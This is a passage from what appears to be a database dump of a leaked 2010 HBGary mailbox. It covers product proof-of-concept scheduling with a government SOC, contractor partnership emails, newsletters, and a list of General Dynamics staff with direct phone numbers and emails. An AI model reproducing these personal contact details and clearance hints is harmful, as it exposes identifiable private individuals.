&lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\nBTW: Our AD install is running smoothly.  I have a number of agents deployed.  \r\n\r\n\r\n\r\nOn 8/25/10 1:33 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com &lt;http://rich@hbgary.com&gt; &gt; wrote:\r\n\r\nHey Brian,\r\n \r\nI’m available on Monday or Tuesday of next week to come to the SOC.\r\n \r\nDo you have my details to submit the visitors request?\r\n \r\nBest,\r\nRich\r\n \r\n\r\nFrom: Christos, Brian N. [mailto:Brian_N._Christos@oa.eop.gov] \r\nSent: Wednesday, August 25, 2010 11:38 AM\r\nTo: Maria Lucas\r\nCc: Rich Cummings\r\nSubject: Re: HBGary -- scheduling next meeting\r\n \r\nMaria,\r\n\r\nDoes Rich have any availability next week sometime to visit the SOC.  I’ll need 48hrs out to schedule it.  Friday’s I’m not in.  Thanks,\r\n\r\nBrian\r\n\r\n\r\nOn 8/24/10 2:49 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com &lt;http://maria@hbgary.com&gt; &gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is available later this week or next week except for Friday.  When is a good day for Rich to return?  I need to put this on \r\nRich&#39;s calendar.\r\n \r\nThank you\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4568,'aaron_hbgary_com/4568.html'),(10884,'2010-08-25','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008363.M746850P14101Q5739.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,aaron@hbgary.com','Re: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nThanks gents. &nbsp;\r\n\r\n\r\nFrom: Clair, Chris (TASC)Sent: Wednesday, August 25, 2010 03:27 PMTo: \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Lovegrove, John (TASC)Subject: RE: Thanks&nbsp;\r\n\r\n\r\n\r\n\r\nI agree.&nbsp; We don&#8217;t necessarily need a HW vendor on\r\nthe team.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 4:26 PM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC)\r\nSubject: Re: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy opinion. &nbsp;Not really a need area.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 25, 2010, at 4:24 PM, Lovegrove, John (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we want to talk to Juniper on COIN?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\n\r\n\r\n\r\n\r\nDirector\r\n\r\n\r\n\r\n\r\n\r\nOffice: (703) 449-3812\r\n\r\n\r\n\r\n\r\n\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please advise\r\nthe sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Allan Assel\r\n[mailto:aassel@juniper.net]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n25, 2010 4:13 PM\r\nTo:&nbsp;Lovegrove, John (TASC)\r\nSubject:&nbsp;Thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor hosting us today for the Breakfast Club. &nbsp;I had wanted to let you know\r\nthat Juniper just met with TASC to figure out how we can work together.\r\n&nbsp;Tony Dahbura is trying to see how we can establish a new relationship\r\nwith TASC as you are no longer part of NG. &nbsp;A couple of our VP&#8217;s\r\n(George Holland, VP BD and Carol Whitacre, VP Channel Partners) met with your\r\nCTO (Rich Rosenthal) on Monday to discuss. &nbsp;(I wanted to mention this to\r\nyou at the meeting, but, didn&#8217;t get a chance to talk.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope\r\nthings are going well, Allan.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n....................................\r\n\r\nAllan J Assel\r\nIntelligence\r\nCommunity Business Development\r\n\r\no&nbsp;&nbsp;&nbsp;+1&nbsp;571 203 2688\r\nm &nbsp;+1&nbsp;703&nbsp;989 3651\r\nf&nbsp;&nbsp;&nbsp;&nbsp;+1&nbsp;571&nbsp;203 1790\r\naassel@juniper.net\r\nwww.juniper.net\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5077,'aaron_hbgary_com/5077.html'),(10885,'2010-08-25','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008363.M970089P14101Q5740.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: HBGary -- scheduling next meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich,\r\n\r\n&nbsp;\r\n\r\nPlease put together a plan so we can map out how best to meet\r\nbrian&#8217;s needs.&nbsp; Triaging is the most difficult part of AD and I think we need\r\nto use Greg&#8217;s and Mike&#8217;s methodology which is to trust DDNA and not bog down on\r\nnon high scoring items.&nbsp; Once they are familiar with how to use AD, then we can\r\nmove to the second tier.&nbsp; We want to make this easy to implement and the tips\r\nand tricks for how to be a hardcore RE, we should save until they are\r\nproficient.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\n\r\nSubject: Re: HBGary -- scheduling next meeting\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSee email below from Brian\r\nChristos -- we are on track and meeting his expectations\r\n\r\n\r\n\r\nOn Wed, Aug 25, 2010 at 12:45 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt;\r\nwrote:\r\n\r\n\r\n\r\nMaria,\r\n\r\nYes we definitely are on track to complete this by Sept 9. &nbsp;There have\r\nbeen a few minor bumps in the road but overall the install and set up has been\r\nquick and smooth. &nbsp;\r\n\r\nCurrently, AD is deployed with a number of agents on hosts. &nbsp;I have DNS\r\nscores but now I have a number of questions on how to most effectively use the\r\nproduct. &nbsp;I&#8217;ve white listed a known good process that had a high score and\r\nI&#8217;m looking at what else might be helpful to white list too. &nbsp;I&#8217;ve pulled\r\nback a number of files that looked suspicious but I haven&#8217;t loaded them into\r\nResponder yet. &nbsp;I&#8217;m not exactly sure how to add more users to the system.\r\n\r\nMonday I would like to figure out how best to use the AD product in our\r\nenvironment so that we all can get the most out of it in a efficient ant\r\nmanner.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 8/25/10 2:40 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Brian\r\n\r\n\r\n\r\nGreat\r\nto hear!\r\n\r\nCan you tell me what you expect to accomplish on Monday specifically, and for\r\nthe remainder of the POC? Also, do you believe we are on track time-wise to\r\ncomplete the POC by September 9th? &nbsp;\r\n\r\nMaria\r\n\r\nOn Wed, Aug 25, 2010 at 11:24 AM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBTW: Our AD install is running smoothly.\r\n&nbsp;I have a number of agents deployed. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 8/25/10 1:33 PM, &quot;Rich\r\nCummings&quot; &lt;rich@hbgary.com\r\n&lt;http://rich@hbgary.com&gt;\r\n&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nBrian,\r\n&nbsp;\r\nI&#8217;m available on Monday or Tuesday of next week to come to the SOC.\r\n&nbsp;\r\nDo you have my details to submit the visitors request?\r\n&nbsp;\r\nBest,\r\nRich\r\n&nbsp;\r\n\r\nFrom: Christos, Brian\r\nN. [mailto:Brian_N._Christos@oa.eop.gov]\r\n\r\nSent: Wednesday, August 25, 2010 11:38 AM\r\nTo: Maria Lucas\r\nCc: Rich Cummings\r\nSubject: Re: HBGary -- scheduling next meeting\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nDoes Rich have any availability next week sometime to visit the SOC. &nbsp;I&#8217;ll\r\nneed 48hrs out to schedule it. &nbsp;Friday&#8217;s I&#8217;m not in. &nbsp;Thanks,\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 8/24/10 2:49 PM, &quot;Maria\r\nLucas&quot; &lt;maria@hbgary.com\r\n&lt;http://maria@hbgary.com&gt;\r\n&gt; wrote:\r\nHi Brian\r\n&nbsp;\r\nRich is available later this week or next week except for Friday.&nbsp; When is\r\na good day for Rich to return?&nbsp; I need to put this on \r\nRich\'s calendar.\r\n&nbsp;\r\nThank you\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6010,'aaron_hbgary_com/6010.html'),(10886,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008364.M181143P14101Q5741.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary -- scheduling next meeting','Begin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: August 25, 2010 4:52:10 PM EDTTo: \"\'Maria Lucas\'\" &lt;maria@hbgary.com&gt;, \"\'Rich Cummings\'\" &lt;rich@hbgary.com&gt;Cc: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: HBGary -- scheduling next meetingRich,&nbsp;Please put together a plan so we can map out how best to meet brian’s needs.&nbsp; Triaging is the most difficult part of AD and I think we need to use Greg’s and Mike’s methodology which is to trust DDNA and not bog down on non high scoring items.&nbsp; Once they are familiar with how to use AD, then we can move to the second tier.&nbsp; We want to make this easy to implement and the tips and tricks for how to be a hardcore RE, we should save until they are proficient.&nbsp;From:&nbsp;Maria Lucas [mailto:maria@hbgary.com]&nbsp;Subject:&nbsp;Re: HBGary -- scheduling next meeting&nbsp;See email below from Brian Christos -- we are on track and meeting his expectationsOn Wed, Aug 25, 2010 at 12:45 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:Maria,Yes we definitely are on track to complete this by Sept 9. &nbsp;There have been a few minor bumps in the road but overall the install and set up has been quick and smooth. &nbsp;Currently, AD is deployed with a number of agents on hosts. &nbsp;I have DNS scores but now I have a number of questions on how to most effectively use the product. &nbsp;I’ve white listed a known good process that had a high score and I’m looking at what else might be helpful to white list too. &nbsp;I’ve pulled back a number of files that looked suspicious but I haven’t loaded them into Responder yet. &nbsp;I’m not exactly sure how to add more users to the system.Monday I would like to figure out how best to use the AD product in our environment so that we all can get the most out of it in a efficient ant manner.BrianOn 8/25/10 2:40 PM, \"Maria Lucas\" &lt;maria@hbgary.com&gt; wrote:Hi BrianGreat to hear!Can you tell me what you expect to accomplish on Monday specifically, and for the remainder of the POC? Also, do you believe we are on track time-wise to complete the POC by September 9th? &nbsp;MariaOn Wed, Aug 25, 2010 at 11:24 AM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:BTW: Our AD install is running smoothly. &nbsp;I have a number of agents deployed. &nbsp;On 8/25/10 1:33 PM, \"Rich Cummings\" &lt;rich@hbgary.com&nbsp;&lt;http://rich@hbgary.com&gt; &gt; wrote:Hey Brian,&nbsp;I’m available on Monday or Tuesday of next week to come to the SOC.&nbsp;Do you have my details to submit the visitors request?&nbsp;Best,Rich&nbsp;From:&nbsp;Christos, Brian N. [mailto:Brian_N._Christos@oa.eop.gov]&nbsp;Sent:&nbsp;Wednesday, August 25, 2010 11:38 AMTo:&nbsp;Maria LucasCc:&nbsp;Rich CummingsSubject:&nbsp;Re: HBGary -- scheduling next meeting&nbsp;Maria,Does Rich have any availability next week sometime to visit the SOC. &nbsp;I’ll need 48hrs out to schedule it. &nbsp;Friday’s I’m not in. &nbsp;Thanks,BrianOn 8/24/10 2:49 PM, \"Maria Lucas\" &lt;maria@hbgary.com&nbsp;&lt;http://maria@hbgary.com&gt; &gt; wrote:Hi Brian&nbsp;Rich is available later this week or next week except for Friday.&nbsp; When is a good day for Rich to return?&nbsp; I need to put this on&nbsp;Rich\'s calendar.&nbsp;Thank youMaria&nbsp;--&nbsp;Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email:&nbsp;maria@hbgary.com&nbsp;&nbsp;&nbsp;',8669,'aaron_hbgary_com/8669.html'),(10887,'2010-08-25','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008364.M394772P14101Q5742.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Terell Jones and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 25, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            2 discussions\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (2)  \r\n\r\n    \r\n      \r\n        Virginia Secretary of Technology - Jim Duffey\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Secretary Duffey was awesome this morning talking about the Green Initiatives with the States of...\r\n	                    More &raquo;\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        Danville Green IT Economic Summit - The Future of Green IT Innovation...\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Just delivered my speech on the future of Green IT at the 1st Annual Danville Green IT Economic Summit 2010!...\r\n	                    More &raquo;\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',9207,'aaron_hbgary_com/9207.html'),(10888,'2010-08-25','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008364.M596363P14101Q5743.eml','\"Aaron Barr\" <aaron@hbgary.com>','GD Personnel','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSome of these people probably have security clearances and\r\nthey are IR folks.&nbsp; They took a mandiant class and they are either in IR or\r\nforensics\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Ron Kilgore&nbsp; IA Engineering 703-263-2845\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSteve Jameson Sr. IA engineering 703-263-2845\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGreg Kline IT Sec 952-921-6190 greg.kline@gd-ais.com\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nChris Hut 240-294-2229 christopher.e.hunt@gd-ais.com\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRandy Firestone-SATCOM 704-701-9071&nbsp; 828-466-9122\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBrent Brimacombe brimacom@gd-ais.com\r\n586-825-8646\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',74,'aaron_hbgary_com/74.html'),(10889,'2010-08-25','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008368.M235532P14101Q5744.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','TSA Answers are out','\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n-John\r\n&nbsp;\r\n\r\nVP\r\nDigitial Management, Inc.\r\n&quot;Leading Government Transformation&quot;\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n--------------------------------------------------\r\n6701 Democracy Plaza, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\n cell\r\n240-223-4800\r\n main\r\n240-223-4888 fax\r\n\r\n\r\n\r\n\r\n\r\n',4016,'aaron_hbgary_com/4016.html'),(10890,'2010-08-25','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008368.M552162P14101Q5745.eml','aaron@hbgary.com','USSTRATCOM Space Symposium Speaker Update','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n	\r\n		\r\n          2010 USSTRATCOM Space Symposium\r\n          \"Conducting Military Space Operations - Advancing from Today to Tomorrow\"\r\n          November 2-3, 2010 \r\n          Qwest Center, Omaha NE \r\n          Co-sponsored by AFCEA International and the U.S. Strategic Command \r\n          Click here to register\r\n          \r\n          The USSTRATCOM Space Symposium offers space and defense professionals an unparalleled opportunity for education, interactive discussion and exposure to the latest space operations technologies. Co-sponsored by the United States Strategic Command and AFCEA International, the event is expected to attract more than 1,000 government officials, military leaders, top industry executives, exhibitors, educators and students.\r\n          &nbsp;\r\n          Confirmed Featured Speakers Include:\r\n          \r\n            The Honorable Dave Heineman,          Governor, State of Nebraska\r\n            Commander, USSTRATCOM\r\n            Lt Gen Larry D. James, USAF, \r\n              Commander, \r\n    Joint Functional Component Command for Space \r\n            Mr. Frank Rose, Deputy Assistant Secretary of State for Verification, Compliance and Implementation\r\n            Mr. Jerry Gandy, \r\n              Director, \r\n    USSTRATCOM/J9\r\n                      \r\n          &nbsp;\r\n          Panel Sessions:\r\n          Space Situational Awareness: Debris Management and Mitigation Strategies\r\n            Space Acquisition: Delivering On-time Capability to the Fight &nbsp;\r\n            Modeling and Simulation for Operational Training and Analysis \r\n            Opportunities to Expand International Collaboration &ndash; Moving Forward Together in Partnership\r\n            Leaders in Industry - Building Robust Commercial Space Industries\r\n                \r\n                \r\n            \r\n            \r\n          Exhibition\r\nDefense contractors and government agencies will showcase the latest products and solutions for space situational awareness, satellite communications, global information grid, and other space-related challenges. \r\n          &nbsp;          \r\n          Academic Session: \"Endless Horizons: The Sun Never Sets in Space\" \r\n          This session will engage local high school juniors and seniors, college students, and faculty and will encourage the study and pursuit of careers in space. \r\n          &nbsp;\r\n          Young Space Professional: \"Space professionals from today to tomorrow\"\r\n           This session will engage young space professionals in the Department of Defense, U.S. government, and the private sector. \r\n          &nbsp;\r\n          For more information on the conference and to register - please visit http://www.afcea.org/events/spacesymposium\r\n                \r\n                        \r\n      \r\n              Exhibit Information - please contact J. Spargo & Associates\r\n              Patron/Sponsor Information - please contact Gina McGovern\r\nProgram Information - please contact Terry Rogers \r\n\r\n          \r\n              We look forward to seeing you in Omaha!\r\n          \r\nConnect with Us!\r\n          Facebook\r\n          Twitter: #stratspace10  \r\n          \r\n            \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	  \r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',11726,'aaron_hbgary_com/11726.html'),(10891,'2010-08-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008368.M848762P14101Q5746.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Contact Info','\r\n---------- Forwarded message ----------From: Jason Lord &lt;jason.lord@d3-services.com&gt;\r\nDate: Wed, Aug 25, 2010 at 11:38 AMSubject: RE: Contact InfoTo: Greg Hoglund &lt;greg@hbgary.com&gt;Cc: Mike Spohn &lt;mike@hbgary.com&gt;, &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\nGreg,\r\n \r\nSorry it has taken me a while to get back with you, as I have been traveling.  I would like to discuss subcontracting one of my guys, Jamaal, to perform advanced RE work.  He is amazing, is great with customers and holds a Top Secret clearance.  Please let me know if you have time to discuss or would like to schedule a call.\r\n\r\n \r\nJamaal is also preparing an advanced RE of Malware class that we are going to deliver to some Gov’t customers overseas in three weeks.  I would be willing to discuss creating a combined course that we could deliver together.\r\n\r\n \r\nPlease let me know if you have any questions.\r\n \r\nR-\r\n \r\nJason\r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Monday, August 02, 2010 11:32 AM\r\nTo: Jason LordCc: Mike Spohn; penny@hbgary.comSubject: Re: Contact Info\r\n\r\n\r\n\r\n \r\n\r\nThanks for the contact info.  I will contact our head of services, Mike Spohn, today about it.  I will also talk with Penny regarding training in the area.  We have worked with training partners in the past.\r\n\r\n\r\n \r\n\r\n-Greg\r\n\r\nOn Mon, Aug 2, 2010 at 8:28 AM, Jason Lord &lt;jason.lord@d3-services.com&gt; wrote:\r\nGreg,Jason Lord here.  We met at BH last week.  I used to work for Rich Cummings.  We discussed sub-contracting work (both cleared and uncleared) as well as the fact that I have a 12 seat classroom in the DC metro area.\r\nIs there a time we can set to talk more about these opportunities?R-JasonJason A. LordChief Operating Officerd3 Services, Ltd.(703) 909-8847 Mobilejason.lord@d3-services.com\r\nhttp://www.WeAreCyber.com\r\n \r\n',9074,'aaron_hbgary_com/9074.html'),(10892,'2010-08-25','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008369.M45969P14101Q5747.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Joseph has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Joseph are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Joseph Johnson \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Director of Security at Comprehensive Health Services\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Joseph\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          centralnetsecurity@hotmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Joseph\'s Connections (45) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Norm Laudermilch\r\n                ,\r\n                  Managing Director, NAP of the Capital Region at Terremark Worldwide\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Steve Hall\r\n                ,\r\n                  Vice President and Business Unit Manager\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Sonia Yadav\r\n                ,\r\n                  Enterprise Messaging Operation Lead at Customs and Border Protection\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Doug Munro [LION]\r\n                ,\r\n                  Manager of Recruiting with Integrated Communication Solutions\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Joseph\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Comprehensive Health Services\r\n                    \r\n                      